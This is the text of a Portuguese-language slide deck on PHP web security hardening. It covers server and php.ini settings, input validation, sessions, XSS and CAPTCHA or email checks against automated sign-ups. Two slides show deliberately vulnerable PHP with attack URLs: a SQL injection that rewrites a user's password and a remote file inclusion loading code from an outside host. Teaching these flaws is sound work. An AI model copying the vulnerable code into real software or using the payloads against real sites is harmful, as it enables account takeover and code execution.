Este documento discute vários tópicos relacionados à segurança em PHP, incluindo validação de dados de usuários, prevenção contra scripts maliciosos, sessões e inclusão de arquivos. Ele também fornece exemplos de como implementar CAPTCHAs e validação por e-mail para melhorar a segurança contra ataques automatizados.
2. PHP Advanced
Conteúdo
• Melhorar a segurança
• Validação de dados
• Prevenção contra scripts
• Projecto
• Resumo
Segurança 2
3. PHP Advanced
Sistema Operativo
• Manter o Sistema Operativo sempre
actualizado
• Instalar todas as actualizações de segurança
disponibilizadas
• Desligar todos os serviços não utilizados
• Auditoria de Sistema Operativo:
• Nessus: http://www.nessus.org/
Segurança 3
4. PHP Advanced
Apache
• Executar com user ID próprio
• Desligar módulo mod_autoindex
• Negar acesso a directórios não necessários
• templates, templates_c, lib, etc
• Negar acesso a ficheiros não necessários
• *.bak, *.tpl, *.*~, etc
Segurança 4
5. PHP Advanced
PHP
• display_errors = Off
• log_errors = On
• error_log = /var/log/php.log
• register_globals = Off
• session.use_trans_sid = 0
• open_basedir = /directorio/do/website
• expose_php = Off
Segurança 5
6. PHP Advanced
Input do utilizador
• Variáveis globais são um problema
• register_globals está desligado por omissão
• Mesmo assim convém inicializar todas as
variáveis utilizadas
Segurança 6
7. PHP Advanced
Input do Utilizador
<?php
// (...)
if ($auth) {
$fullAccess = true;
}
if ($fullAccess) {
// (...)
}
?>
Segurança 7
8. PHP Advanced
Formulários
• Nunca confiar no que o utilizador introduz num
formulário
• Nunca fazer include’s ou require’s utilizando
variáveis provenientes de formulários
• Nunca manipular ficheiros utilizando variáveis
provenientes de formulários
• É possível efectuar um POST a formulário
através de JavaScript, mesmo sem estar na
página do formulário
Segurança 8
10. PHP Advanced
Bases de Dados
• mysql_real_escape_string()
• Utilizar plicas em todos os valores sempre
que possível
• Atenção a aplicações que usem paginação e
validar o parâmetro correspondente ao
número da página
Segurança 10
11. PHP Advanced
Bases de Dados
<?php
// URL:
// http://example.com/?table=user+SET+password=%3Dmypass%3D+%23
$res = mysql_query(‘UPDATE ‘ . $_GET[‘table’] . ‘
SET visits=visits+1
WHERE id=’ . $_GET[‘id’]);
// Query realmente executado:
// UPDATE user SET password=”mypass” # SET visits=visits+1 WHERE id=
?>
Segurança 11
12. PHP Advanced
Programas externos
• Nunca confiar em parâmetros de GET e
passá-los como parâmetros de programas
externos
• Utilizar sempre escapeshellarg() em
todos os parâmetros de programas
externos
Segurança 12
13. PHP Advanced
Inclusão de Scripts
• O bug mais comum é relacionado com a
inclusão de scripts baseada em parâmetros
GET
• Desligar o allow_url_fopen sempre que
possível para não permitir a abertura de
ficheiros remotos
Segurança 13
14. PHP Advanced
Inclusão de Scripts
<?php
// URL:
// http://example.com/?page=http://mysite.com/attack
include $_GET[‘page’] . ‘.inc’;
// Na realidade é feito um include a
// http://mysite.com/attack.inc
// que poderá ter código malicioso
?>
Segurança 14
15. PHP Advanced
Sessões
• Poderá ser possível injectar o ID da sessão
através de parâmetro GET ou de Cookie,
tomando conta de uma sessão activa
• Esta técnica tem o nome de Session Fixation
ou Session Hijacking
• Utilizar a função
session_regenerate_id()
Segurança 15
16. PHP Advanced
XSS
• Nunca escrever directamente conteúdo
proveniente de formulários ou de
parâmetros GET
• É possível introduzir conteúdo num
formulário que, ao ser escrito, abra uma
localização remota e permita ao atacante
obter informação sobre o utilizador
Segurança 16
17. PHP Advanced
Prevenção contra scripts
• No registo
• Garante que só um humano se consegue
registar
• Evita registos em quantidade ou um
ataque propositado
• Na autenticação
• Evita tentativas de obter autenticação
através de força bruta
Segurança 17
18. PHP Advanced
Prevenção contra scripts
• CAPTCHA
• Completely Automated Public Turing tests to
tell Computers and Humans Apart
• Garante que o formulário foi preenchido
por um humano
• Validação por Email
• OpenID
Segurança 18
19. PHP Advanced
PEAR::Text_CAPTCHA
• Instalação
• pear install Text_CAPTCHA
• pear install Image_Text
• Obtenção de uma font TTF
Segurança 19
23. PHP Advanced
reCAPTCHA
• Web Service
• Biblioteca em PHP
• Disponível em http://recaptcha.net/
• Ajuda a digitalizar livros
Segurança 23
24. PHP Advanced
Validação por Email
• Tornar obrigatória a inserção do endereço
de Email no formulário
• Após o formulário ter sido preenchido
gerar um ID e gravá-lo juntamente com os
dados
• Enviar uma mensagem ao endereço
introduzido com instruções de confirmação
Segurança 24
25. PHP Advanced
Projecto
• Escolher um dos mecanismos de prevenção
contra scripts e implementá-lo nos
formulários de registo e de autenticação
Segurança 25
26. PHP Advanced
Resumo
• Melhorias na segurança
• XSS
• CAPTCHA
• Validação por Email
• Implementação
Segurança 26